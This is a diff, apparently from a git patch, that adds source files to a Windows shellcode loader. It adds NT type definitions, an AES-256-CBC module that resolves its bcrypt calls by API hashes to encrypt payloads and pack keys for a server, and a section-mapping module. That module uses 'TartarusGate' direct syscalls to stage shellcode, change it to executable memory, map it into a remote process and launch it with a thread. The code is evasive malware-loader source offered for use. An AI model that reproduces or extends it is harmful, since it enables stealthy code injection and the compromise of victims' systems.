#define OBJ_CASE_INSENSITIVE 0x00000040L
|
||||||
|
#endif
|
||||||
|
|
||||||
|
typedef struct _UNICODE_STRING_NT {
|
||||||
|
USHORT Length;
|
||||||
|
USHORT MaximumLength;
|
||||||
|
PWSTR Buffer;
|
||||||
|
} UNICODE_STRING_NT, *PUNICODE_STRING_NT;
|
||||||
|
|
||||||
|
typedef struct _OBJECT_ATTRIBUTES_NT {
|
||||||
|
ULONG Length;
|
||||||
|
HANDLE RootDirectory;
|
||||||
|
PUNICODE_STRING_NT ObjectName;
|
||||||
|
ULONG Attributes;
|
||||||
|
PVOID SecurityDescriptor;
|
||||||
|
PVOID SecurityQualityOfService;
|
||||||
|
} OBJECT_ATTRIBUTES_NT, *POBJECT_ATTRIBUTES_NT;
|
||||||
|
|
||||||
|
typedef struct _CLIENT_ID_NT {
|
||||||
|
HANDLE UniqueProcess;
|
||||||
|
HANDLE UniqueThread;
|
||||||
|
} CLIENT_ID_NT, *PCLIENT_ID_NT;
|
||||||
|
|
||||||
|
typedef struct _IO_STATUS_BLOCK_NT {
|
||||||
|
union {
|
||||||
|
NTSTATUS Status;
|
||||||
|
PVOID Pointer;
|
||||||
|
};
|
||||||
|
ULONG_PTR Information;
|
||||||
|
} IO_STATUS_BLOCK_NT, *PIO_STATUS_BLOCK_NT;
|
||||||
|
|
||||||
|
// Process enumeration (SystemProcessInformation)
|
||||||
|
typedef struct _SYSTEM_PROCESS_INFORMATION_NT {
|
||||||
|
ULONG NextEntryOffset;
|
||||||
|
ULONG NumberOfThreads;
|
||||||
|
LARGE_INTEGER Reserved[3];
|
||||||
|
LARGE_INTEGER CreateTime;
|
||||||
|
LARGE_INTEGER UserTime;
|
||||||
|
LARGE_INTEGER KernelTime;
|
||||||
|
UNICODE_STRING_NT ImageName;
|
||||||
|
LONG BasePriority;
|
||||||
|
HANDLE UniqueProcessId;
|
||||||
|
HANDLE InheritedFromUniqueProcessId;
|
||||||
|
ULONG HandleCount;
|
||||||
|
ULONG SessionId;
|
||||||
|
ULONG_PTR PagefileUsage;
|
||||||
|
ULONG_PTR PeakPagefileUsage;
|
||||||
|
ULONG_PTR WorkingSetSize;
|
||||||
|
ULONG_PTR PeakWorkingSetSize;
|
||||||
|
ULONG_PTR QuotaPagedPoolUsage;
|
||||||
|
ULONG_PTR QuotaPeakPagedPoolUsage;
|
||||||
|
ULONG_PTR QuotaNonPagedPoolUsage;
|
||||||
|
ULONG_PTR QuotaPeakNonPagedPoolUsage;
|
||||||
|
ULONG_PTR PagefileUsage2;
|
||||||
|
ULONG_PTR PeakPagefileUsage2;
|
||||||
|
ULONG_PTR PrivatePageCount;
|
||||||
|
LARGE_INTEGER ReadOperationCount;
|
||||||
|
LARGE_INTEGER WriteOperationCount;
|
||||||
|
LARGE_INTEGER OtherOperationCount;
|
||||||
|
LARGE_INTEGER ReadTransferCount;
|
||||||
|
LARGE_INTEGER WriteTransferCount;
|
||||||
|
LARGE_INTEGER OtherTransferCount;
|
||||||
|
} SYSTEM_PROCESS_INFORMATION_NT, *PSYSTEM_PROCESS_INFORMATION_NT;
|
||||||
|
|
||||||
|
inline void InitObjectAttributes(
|
||||||
|
POBJECT_ATTRIBUTES_NT p,
|
||||||
|
PUNICODE_STRING_NT name,
|
||||||
|
ULONG attributes,
|
||||||
|
HANDLE root,
|
||||||
|
PVOID security)
|
||||||
|
{
|
||||||
|
p->Length = sizeof(OBJECT_ATTRIBUTES_NT);
|
||||||
|
p->RootDirectory = root;
|
||||||
|
p->Attributes = attributes;
|
||||||
|
p->ObjectName = name;
|
||||||
|
p->SecurityDescriptor = security;
|
||||||
|
p->SecurityQualityOfService = nullptr;
|
||||||
|
}
|
||||||
@@ -0,0 +1,312 @@
|
|||||||
|
#include "aes_crypto.hpp"
|
||||||
|
#include "../resolve/api_resolver.hpp"
|
||||||
|
#include "../common/hashes.hpp"
|
||||||
|
#include "../common/nt_types.hpp"
|
||||||
|
#include "../common/log.hpp"
|
||||||
|
|
||||||
|
#include <bcrypt.h>
|
||||||
|
#include <fstream>
|
||||||
|
#include <cstring>
|
||||||
|
|
||||||
|
namespace AesCrypto {
|
||||||
|
|
||||||
|
namespace {
|
||||||
|
|
||||||
|
using BCryptOpenAlgorithmProvider_t = NTSTATUS(WINAPI*)(BCRYPT_ALG_HANDLE*, LPCWSTR, LPCWSTR, ULONG);
|
||||||
|
using BCryptCloseAlgorithmProvider_t = NTSTATUS(WINAPI*)(BCRYPT_ALG_HANDLE, ULONG);
|
||||||
|
using BCryptGenerateSymmetricKey_t = NTSTATUS(WINAPI*)(BCRYPT_ALG_HANDLE, BCRYPT_KEY_HANDLE*, PUCHAR, ULONG, PUCHAR, ULONG, ULONG);
|
||||||
|
using BCryptDestroyKey_t = NTSTATUS(WINAPI*)(BCRYPT_KEY_HANDLE);
|
||||||
|
using BCryptEncrypt_t = NTSTATUS(WINAPI*)(BCRYPT_KEY_HANDLE, PUCHAR, ULONG, VOID*, PUCHAR, ULONG, PUCHAR, ULONG, ULONG*, ULONG);
|
||||||
|
using BCryptDecrypt_t = NTSTATUS(WINAPI*)(BCRYPT_KEY_HANDLE, PUCHAR, ULONG, VOID*, PUCHAR, ULONG, PUCHAR, ULONG, ULONG*, ULONG);
|
||||||
|
using BCryptSetProperty_t = NTSTATUS(WINAPI*)(BCRYPT_HANDLE, LPCWSTR, PUCHAR, ULONG, ULONG);
|
||||||
|
using BCryptGenRandom_t = NTSTATUS(WINAPI*)(BCRYPT_ALG_HANDLE, PUCHAR, ULONG, ULONG);
|
||||||
|
|
||||||
|
struct BcryptApi {
|
||||||
|
BCryptOpenAlgorithmProvider_t Open = nullptr;
|
||||||
|
BCryptCloseAlgorithmProvider_t Close = nullptr;
|
||||||
|
BCryptGenerateSymmetricKey_t GenKey = nullptr;
|
||||||
|
BCryptDestroyKey_t DestroyKey = nullptr;
|
||||||
|
BCryptEncrypt_t Encrypt = nullptr;
|
||||||
|
BCryptDecrypt_t Decrypt = nullptr;
|
||||||
|
BCryptSetProperty_t SetProperty = nullptr;
|
||||||
|
BCryptGenRandom_t GenRandom = nullptr;
|
||||||
|
bool loaded = false;
|
||||||
|
};
|
||||||
|
|
||||||
|
bool LoadBcrypt(BcryptApi& api) {
|
||||||
|
if (api.loaded) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
api.Open = reinterpret_cast<BCryptOpenAlgorithmProvider_t>(
|
||||||
|
ApiResolver::ResolveBcrypt(Hashes::H_BCryptOpenAlgorithmProvider));
|
||||||
|
api.Close = reinterpret_cast<BCryptCloseAlgorithmProvider_t>(
|
||||||
|
ApiResolver::ResolveBcrypt(Hashes::H_BCryptCloseAlgorithmProvider));
|
||||||
|
api.GenKey = reinterpret_cast<BCryptGenerateSymmetricKey_t>(
|
||||||
|
ApiResolver::ResolveBcrypt(Hashes::H_BCryptGenerateSymmetricKey));
|
||||||
|
api.DestroyKey = reinterpret_cast<BCryptDestroyKey_t>(
|
||||||
|
ApiResolver::ResolveBcrypt(Hashes::H_BCryptDestroyKey));
|
||||||
|
api.Encrypt = reinterpret_cast<BCryptEncrypt_t>(
|
||||||
|
ApiResolver::ResolveBcrypt(Hashes::H_BCryptEncrypt));
|
||||||
|
api.Decrypt = reinterpret_cast<BCryptDecrypt_t>(
|
||||||
|
ApiResolver::ResolveBcrypt(Hashes::H_BCryptDecrypt));
|
||||||
|
api.SetProperty = reinterpret_cast<BCryptSetProperty_t>(
|
||||||
|
ApiResolver::ResolveBcrypt(Hashes::H_BCryptSetProperty));
|
||||||
|
|
||||||
|
// BCryptGenRandom is in bcrypt.dll but not in our hash table — resolve by adding hash
|
||||||
|
api.GenRandom = reinterpret_cast<BCryptGenRandom_t>(
|
||||||
|
ApiResolver::ResolveBcrypt(Hashes::H_BCryptGenRandom));
|
||||||
|
|
||||||
|
api.loaded = api.Open && api.Close && api.GenKey && api.DestroyKey &&
|
||||||
|
api.Encrypt && api.Decrypt && api.SetProperty && api.GenRandom;
|
||||||
|
return api.loaded;
|
||||||
|
}
|
||||||
|
|
||||||
|
} // namespace
|
||||||
|
|
||||||
|
bool GenerateKeyMaterial(KeyMaterial& out) {
|
||||||
|
Log::Dbg("AES: GenerateKeyMaterial (BCryptGenRandom system RNG)");
|
||||||
|
BcryptApi api{};
|
||||||
|
if (!LoadBcrypt(api)) {
|
||||||
|
Log::Dbg("AES: bcrypt API resolve failed");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
out.key.resize(32);
|
||||||
|
out.iv.resize(16);
|
||||||
|
|
||||||
|
// BCryptGenRandom with NULL handle requires BCRYPT_USE_SYSTEM_PREFERRED_RNG on Win8+.
|
||||||
|
constexpr ULONG kSystemRng = 0x00000002;
|
||||||
|
if (!NT_SUCCESS(api.GenRandom(nullptr, out.key.data(), static_cast<ULONG>(out.key.size()), kSystemRng)) ||
|
||||||
|
!NT_SUCCESS(api.GenRandom(nullptr, out.iv.data(), static_cast<ULONG>(out.iv.size()), kSystemRng))) {
|
||||||
|
Log::Dbg("AES: GenRandom failed");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
Log::Dbg("AES: key=%zu bytes iv=%zu bytes", out.key.size(), out.iv.size());
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool Encrypt(const std::vector<BYTE>& plaintext, const KeyMaterial& km, std::vector<BYTE>& ciphertext) {
|
||||||
|
Log::Dbg("AES Encrypt: plain=%zu key=%zu iv=%zu mode=AES-256-CBC",
|
||||||
|
plaintext.size(), km.key.size(), km.iv.size());
|
||||||
|
if (km.key.size() != 32 || km.iv.size() != 16 || plaintext.empty()) {
|
||||||
|
Log::Dbg("AES Encrypt: bad args");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
BcryptApi api{};
|
||||||
|
if (!LoadBcrypt(api)) {
|
||||||
|
Log::Dbg("AES Encrypt: bcrypt API resolve failed");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
BCRYPT_ALG_HANDLE hAlg = nullptr;
|
||||||
|
if (!NT_SUCCESS(api.Open(&hAlg, BCRYPT_AES_ALGORITHM, nullptr, 0))) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
api.SetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_CBC,
|
||||||
|
sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
|
||||||
|
|
||||||
|
BCRYPT_KEY_HANDLE hKey = nullptr;
|
||||||
|
if (!NT_SUCCESS(api.GenKey(hAlg, &hKey, nullptr, 0,
|
||||||
|
const_cast<PUCHAR>(km.key.data()), static_cast<ULONG>(km.key.size()), 0))) {
|
||||||
|
api.Close(hAlg, 0);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<BYTE> ivWork = km.iv;
|
||||||
|
|
||||||
|
ULONG cipherLen = 0;
|
||||||
|
api.Encrypt(hKey, const_cast<PUCHAR>(plaintext.data()), static_cast<ULONG>(plaintext.size()),
|
||||||
|
nullptr, ivWork.data(), static_cast<ULONG>(ivWork.size()),
|
||||||
|
nullptr, 0, &cipherLen, BCRYPT_BLOCK_PADDING);
|
||||||
|
|
||||||
|
ciphertext.resize(cipherLen);
|
||||||
|
ULONG written = 0;
|
||||||
|
NTSTATUS st = api.Encrypt(
|
||||||
|
hKey,
|
||||||
|
const_cast<PUCHAR>(plaintext.data()), static_cast<ULONG>(plaintext.size()),
|
||||||
|
nullptr,
|
||||||
|
ivWork.data(), static_cast<ULONG>(ivWork.size()),
|
||||||
|
ciphertext.data(), static_cast<ULONG>(ciphertext.size()),
|
||||||
|
&written, BCRYPT_BLOCK_PADDING);
|
||||||
|
|
||||||
|
api.DestroyKey(hKey);
|
||||||
|
api.Close(hAlg, 0);
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(st)) {
|
||||||
|
Log::Dbg("AES Encrypt: BCryptEncrypt failed NTSTATUS=0x%08lX",
|
||||||
|
static_cast<unsigned long>(st));
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
ciphertext.resize(written);
|
||||||
|
Log::Dbg("AES Encrypt OK: cipher=%zu bytes", ciphertext.size());
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool Decrypt(const std::vector<BYTE>& ciphertext, const KeyMaterial& km, std::vector<BYTE>& plaintext) {
|
||||||
|
Log::Dbg("AES Decrypt: cipher=%zu key=%zu iv=%zu mode=AES-256-CBC",
|
||||||
|
ciphertext.size(), km.key.size(), km.iv.size());
|
||||||
|
if (km.key.size() != 32 || km.iv.size() != 16 || ciphertext.empty()) {
|
||||||
|
Log::Dbg("AES Decrypt: bad args");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
BcryptApi api{};
|
||||||
|
if (!LoadBcrypt(api)) {
|
||||||
|
Log::Dbg("AES Decrypt: bcrypt API resolve failed");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
BCRYPT_ALG_HANDLE hAlg = nullptr;
|
||||||
|
if (!NT_SUCCESS(api.Open(&hAlg, BCRYPT_AES_ALGORITHM, nullptr, 0))) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
api.SetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_CBC,
|
||||||
|
sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
|
||||||
|
|
||||||
|
BCRYPT_KEY_HANDLE hKey = nullptr;
|
||||||
|
if (!NT_SUCCESS(api.GenKey(hAlg, &hKey, nullptr, 0,
|
||||||
|
const_cast<PUCHAR>(km.key.data()), static_cast<ULONG>(km.key.size()), 0))) {
|
||||||
|
api.Close(hAlg, 0);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<BYTE> ivWork = km.iv;
|
||||||
|
|
||||||
|
ULONG plainLen = 0;
|
||||||
|
api.Decrypt(hKey, const_cast<PUCHAR>(ciphertext.data()), static_cast<ULONG>(ciphertext.size()),
|
||||||
|
nullptr, ivWork.data(), static_cast<ULONG>(ivWork.size()),
|
||||||
|
nullptr, 0, &plainLen, BCRYPT_BLOCK_PADDING);
|
||||||
|
|
||||||
|
plaintext.resize(plainLen);
|
||||||
|
ULONG written = 0;
|
||||||
|
NTSTATUS st = api.Decrypt(
|
||||||
|
hKey,
|
||||||
|
const_cast<PUCHAR>(ciphertext.data()), static_cast<ULONG>(ciphertext.size()),
|
||||||
|
nullptr,
|
||||||
|
ivWork.data(), static_cast<ULONG>(ivWork.size()),
|
||||||
|
plaintext.data(), static_cast<ULONG>(plaintext.size()),
|
||||||
|
&written, BCRYPT_BLOCK_PADDING);
|
||||||
|
|
||||||
|
api.DestroyKey(hKey);
|
||||||
|
api.Close(hAlg, 0);
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(st)) {
|
||||||
|
Log::Dbg("AES Decrypt: BCryptDecrypt failed NTSTATUS=0x%08lX",
|
||||||
|
static_cast<unsigned long>(st));
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
plaintext.resize(written);
|
||||||
|
Log::Dbg("AES Decrypt OK: plain=%zu bytes", plaintext.size());
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<BYTE> PackKeyMaterial(const KeyMaterial& km) {
|
||||||
|
std::vector<BYTE> blob;
|
||||||
|
auto appendU32 = [&](DWORD v) {
|
||||||
|
blob.push_back(static_cast<BYTE>(v & 0xFF));
|
||||||
|
blob.push_back(static_cast<BYTE>((v >> 8) & 0xFF));
|
||||||
|
blob.push_back(static_cast<BYTE>((v >> 16) & 0xFF));
|
||||||
|
blob.push_back(static_cast<BYTE>((v >> 24) & 0xFF));
|
||||||
|
};
|
||||||
|
appendU32(static_cast<DWORD>(km.key.size()));
|
||||||
|
blob.insert(blob.end(), km.key.begin(), km.key.end());
|
||||||
|
appendU32(static_cast<DWORD>(km.iv.size()));
|
||||||
|
blob.insert(blob.end(), km.iv.begin(), km.iv.end());
|
||||||
|
return blob;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool UnpackKeyMaterial(const std::vector<BYTE>& blob, KeyMaterial& out) {
|
||||||
|
if (blob.size() < 8) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
size_t off = 0;
|
||||||
|
auto readU32 = [&]() -> DWORD {
|
||||||
|
DWORD v = blob[off] | (blob[off + 1] << 8) | (blob[off + 2] << 16) | (blob[off + 3] << 24);
|
||||||
|
off += 4;
|
||||||
|
return v;
|
||||||
|
};
|
||||||
|
|
||||||
|
const DWORD keyLen = readU32();
|
||||||
|
if (off + keyLen > blob.size()) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
out.key.assign(blob.begin() + off, blob.begin() + off + keyLen);
|
||||||
|
off += keyLen;
|
||||||
|
|
||||||
|
if (off + 4 > blob.size()) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
const DWORD ivLen = readU32();
|
||||||
|
if (off + ivLen > blob.size()) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
out.iv.assign(blob.begin() + off, blob.begin() + off + ivLen);
|
||||||
|
return out.key.size() == 32 && out.iv.size() == 16;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool EncryptFileToDisk(const std::wstring& inputPath, std::wstring& outEncPath, std::wstring& outKeyPath) {
|
||||||
|
std::ifstream in(inputPath, std::ios::binary | std::ios::ate);
|
||||||
|
if (!in.is_open()) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
const auto size = in.tellg();
|
||||||
|
in.seekg(0);
|
||||||
|
std::vector<BYTE> plain(static_cast<size_t>(size));
|
||||||
|
if (!in.read(reinterpret_cast<char*>(plain.data()), size)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
in.close();
|
||||||
|
|
||||||
|
KeyMaterial km{};
|
||||||
|
if (!GenerateKeyMaterial(km)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<BYTE> cipher;
|
||||||
|
if (!Encrypt(plain, km, cipher)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
outEncPath = inputPath + L".enc";
|
||||||
|
outKeyPath = inputPath + L".key";
|
||||||
|
|
||||||
|
std::ofstream enc(outEncPath, std::ios::binary);
|
||||||
|
std::ofstream key(outKeyPath, std::ios::binary);
|
||||||
|
if (!enc.is_open() || !key.is_open()) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
enc.write(reinterpret_cast<const char*>(cipher.data()), cipher.size());
|
||||||
|
auto packed = PackKeyMaterial(km);
|
||||||
|
key.write(reinterpret_cast<const char*>(packed.data()), packed.size());
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool ReadEncryptedPayload(const std::wstring& encPath, const std::wstring& keyPath,
|
||||||
|
std::vector<BYTE>& plaintext) {
|
||||||
|
std::ifstream enc(encPath, std::ios::binary | std::ios::ate);
|
||||||
|
std::ifstream key(keyPath, std::ios::binary | std::ios::ate);
|
||||||
|
if (!enc.is_open() || !key.is_open()) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<BYTE> cipher(static_cast<size_t>(enc.tellg()));
|
||||||
|
std::vector<BYTE> packed(static_cast<size_t>(key.tellg()));
|
||||||
|
enc.seekg(0);
|
||||||
|
key.seekg(0);
|
||||||
|
enc.read(reinterpret_cast<char*>(cipher.data()), cipher.size());
|
||||||
|
key.read(reinterpret_cast<char*>(packed.data()), packed.size());
|
||||||
|
|
||||||
|
KeyMaterial km{};
|
||||||
|
if (!UnpackKeyMaterial(packed, km)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return Decrypt(cipher, km, plaintext);
|
||||||
|
}
|
||||||
|
|
||||||
|
} // namespace AesCrypto
|
||||||
@@ -0,0 +1,33 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <vector>
|
||||||
|
#include <cstdint>
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
namespace AesCrypto {
|
||||||
|
|
||||||
|
struct KeyMaterial {
|
||||||
|
std::vector<BYTE> key; // 32 bytes (AES-256)
|
||||||
|
std::vector<BYTE> iv; // 16 bytes (CBC block)
|
||||||
|
};
|
||||||
|
|
||||||
|
// Generate cryptographically random key + IV via BCryptGenRandom (resolved dynamically).
|
||||||
|
bool GenerateKeyMaterial(KeyMaterial& out);
|
||||||
|
|
||||||
|
// AES-256-CBC encrypt/decrypt using BCrypt (all APIs hash-resolved).
|
||||||
|
bool Encrypt(const std::vector<BYTE>& plaintext, const KeyMaterial& km, std::vector<BYTE>& ciphertext);
|
||||||
|
bool Decrypt(const std::vector<BYTE>& ciphertext, const KeyMaterial& km, std::vector<BYTE>& plaintext);
|
||||||
|
|
||||||
|
// Pack key+IV for server transport: [4 keyLen][key][4 ivLen][iv]
|
||||||
|
std::vector<BYTE> PackKeyMaterial(const KeyMaterial& km);
|
||||||
|
bool UnpackKeyMaterial(const std::vector<BYTE>& blob, KeyMaterial& out);
|
||||||
|
|
||||||
|
// Encrypt file to .enc + sidecar key blob (for --enc AES mode).
|
||||||
|
bool EncryptFileToDisk(const std::wstring& inputPath, std::wstring& outEncPath, std::wstring& outKeyPath);
|
||||||
|
|
||||||
|
// Read encrypted payload + key from disk.
|
||||||
|
bool ReadEncryptedPayload(const std::wstring& encPath, const std::wstring& keyPath,
|
||||||
|
std::vector<BYTE>& plaintext);
|
||||||
|
|
||||||
|
} // namespace AesCrypto
|
||||||
@@ -0,0 +1,237 @@
|
|||||||
|
#include "section_map.hpp"
|
||||||
|
#include "../resolve/api_resolver.hpp"
|
||||||
|
#include "../common/hashes.hpp"
|
||||||
|
#include "../common/log.hpp"
|
||||||
|
|
||||||
|
#include "../common/log.hpp"
|
||||||
|
|
||||||
|
#include <cstring>
|
||||||
|
#include <iostream>
|
||||||
|
|
||||||
|
namespace SectionMap {
|
||||||
|
|
||||||
|
SIZE_T PageAlign(SIZE_T size) {
|
||||||
|
const SIZE_T page = 4096;
|
||||||
|
return (size + page - 1) & ~(page - 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool StageLocal(
|
||||||
|
TartarusGate::SyscallTable& sc,
|
||||||
|
const std::vector<BYTE>& shellcode,
|
||||||
|
MappedRegion& out)
|
||||||
|
{
|
||||||
|
Log::Banner("Section Map StageLocal");
|
||||||
|
if (!sc.initialized || shellcode.empty()) {
|
||||||
|
Log::Dbg("StageLocal abort: initialized=%d empty=%d",
|
||||||
|
sc.initialized ? 1 : 0, shellcode.empty() ? 1 : 0);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
out = {};
|
||||||
|
|
||||||
|
LARGE_INTEGER maxSize{};
|
||||||
|
maxSize.QuadPart = static_cast<LONGLONG>(PageAlign(shellcode.size()));
|
||||||
|
Log::Sys("NtCreateSection: MaxSize=%lld Access=SECTION_ALL_ACCESS Prot=PAGE_READWRITE SEC_COMMIT",
|
||||||
|
maxSize.QuadPart);
|
||||||
|
|
||||||
|
HANDLE hSection = nullptr;
|
||||||
|
NTSTATUS st = sc.NtCreateSection(
|
||||||
|
&hSection,
|
||||||
|
SECTION_ALL_ACCESS,
|
||||||
|
nullptr,
|
||||||
|
&maxSize,
|
||||||
|
PAGE_READWRITE,
|
||||||
|
SEC_COMMIT,
|
||||||
|
nullptr);
|
||||||
|
Log::NtStatus("NtCreateSection", st);
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(st) || !hSection) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
Log::Sys("section handle=%p", hSection);
|
||||||
|
|
||||||
|
PVOID localView = nullptr;
|
||||||
|
SIZE_T viewSize = 0;
|
||||||
|
Log::Sys("NtMapViewOfSection: self Process CommitSize=%zu Prot=PAGE_READWRITE",
|
||||||
|
static_cast<size_t>(PageAlign(shellcode.size())));
|
||||||
|
st = sc.NtMapViewOfSection(
|
||||||
|
hSection,
|
||||||
|
GetCurrentProcess(),
|
||||||
|
&localView,
|
||||||
|
0,
|
||||||
|
PageAlign(shellcode.size()),
|
||||||
|
nullptr,
|
||||||
|
&viewSize,
|
||||||
|
ViewShare,
|
||||||
|
0,
|
||||||
|
PAGE_READWRITE);
|
||||||
|
Log::NtStatus("NtMapViewOfSection", st);
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(st) || !localView) {
|
||||||
|
sc.NtClose(hSection);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
Log::Sys("mapped RW view=%p viewSize=%zu", localView, static_cast<size_t>(viewSize));
|
||||||
|
|
||||||
|
std::memcpy(localView, shellcode.data(), shellcode.size());
|
||||||
|
Log::Dbg("copied %zu shellcode bytes into view", shellcode.size());
|
||||||
|
|
||||||
|
// W^X: transition mapped view to RX.
|
||||||
|
ULONG oldProt = 0;
|
||||||
|
PVOID protBase = localView;
|
||||||
|
SIZE_T protSize = viewSize;
|
||||||
|
Log::Sys("NtProtectVirtualMemory: view=%p NewProt=PAGE_EXECUTE_READ (W^X)", localView);
|
||||||
|
st = sc.NtProtectVirtualMemory(
|
||||||
|
GetCurrentProcess(),
|
||||||
|
&protBase,
|
||||||
|
&protSize,
|
||||||
|
PAGE_EXECUTE_READ,
|
||||||
|
&oldProt);
|
||||||
|
Log::NtStatus("NtProtectVirtualMemory", st);
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(st)) {
|
||||||
|
sc.NtUnmapViewOfSection(GetCurrentProcess(), localView);
|
||||||
|
sc.NtClose(hSection);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
Log::Dbg("oldProt=0x%08lX", static_cast<unsigned long>(oldProt));
|
||||||
|
|
||||||
|
out.section = hSection;
|
||||||
|
out.localView = localView;
|
||||||
|
out.viewSize = viewSize;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool MapRemote(
|
||||||
|
TartarusGate::SyscallTable& sc,
|
||||||
|
HANDLE targetProcess,
|
||||||
|
MappedRegion& region)
|
||||||
|
{
|
||||||
|
if (!sc.initialized || !region.section || region.mappedRemote) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
PVOID remoteView = nullptr;
|
||||||
|
SIZE_T viewSize = region.viewSize;
|
||||||
|
NTSTATUS st = sc.NtMapViewOfSection(
|
||||||
|
region.section,
|
||||||
|
targetProcess,
|
||||||
|
&remoteView,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
nullptr,
|
||||||
|
&viewSize,
|
||||||
|
1,
|
||||||
|
0,
|
||||||
|
PAGE_EXECUTE_READ);
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(st) || !remoteView) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
region.remoteView = remoteView;
|
||||||
|
region.mappedRemote = true;
|
||||||
|
region.viewSize = viewSize;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool ExecuteLocal(TartarusGate::SyscallTable& sc, PVOID entry) {
|
||||||
|
Log::Banner("ExecuteLocal (CreateThread)");
|
||||||
|
if (!sc.initialized || !entry) {
|
||||||
|
Log::Dbg("ExecuteLocal abort: initialized=%d entry=%p",
|
||||||
|
sc.initialized ? 1 : 0, entry);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Hash resolved CreateThread matches original loader behavior for msfvenom style shellcode.
|
||||||
|
auto* k32 = ApiResolver::GetKernel32();
|
||||||
|
if (!k32) {
|
||||||
|
Log::Dbg("kernel32 base null");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
using CreateThread_t = HANDLE(WINAPI*)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
|
||||||
|
using WaitForSingleObject_t = DWORD(WINAPI*)(HANDLE, DWORD);
|
||||||
|
using CloseHandle_t = BOOL(WINAPI*)(HANDLE);
|
||||||
|
|
||||||
|
auto* pCreateThread = reinterpret_cast<CreateThread_t>(
|
||||||
|
ApiResolver::ResolveExport(k32, Hashes::H_CreateThread));
|
||||||
|
auto* pWait = reinterpret_cast<WaitForSingleObject_t>(
|
||||||
|
ApiResolver::ResolveExport(k32, Hashes::H_WaitForSingleObject));
|
||||||
|
auto* pClose = reinterpret_cast<CloseHandle_t>(
|
||||||
|
ApiResolver::ResolveExport(k32, Hashes::H_CloseHandle));
|
||||||
|
|
||||||
|
if (!pCreateThread || !pWait || !pClose) {
|
||||||
|
Log::Err("CreateThread hash resolve failed");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
Log::Sys("ExecuteLocal: CreateThread entry=%p (API hash 0x%08X) pCreate=%p",
|
||||||
|
entry, Hashes::H_CreateThread, pCreateThread);
|
||||||
|
|
||||||
|
DWORD tid = 0;
|
||||||
|
HANDLE hThread = pCreateThread(nullptr, 0,
|
||||||
|
reinterpret_cast<LPTHREAD_START_ROUTINE>(entry), nullptr, 0, &tid);
|
||||||
|
if (!hThread) {
|
||||||
|
Log::Err("CreateThread failed (%lu)", GetLastError());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
Log::Raw("thread TID=%lu handle=%p — WaitForSingleObject(INFINITE)", tid, hThread);
|
||||||
|
const DWORD waitRc = pWait(hThread, INFINITE);
|
||||||
|
Log::Dbg("WaitForSingleObject rc=%lu", waitRc);
|
||||||
|
pClose(hThread);
|
||||||
|
Log::Dbg("thread exited, handle closed");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
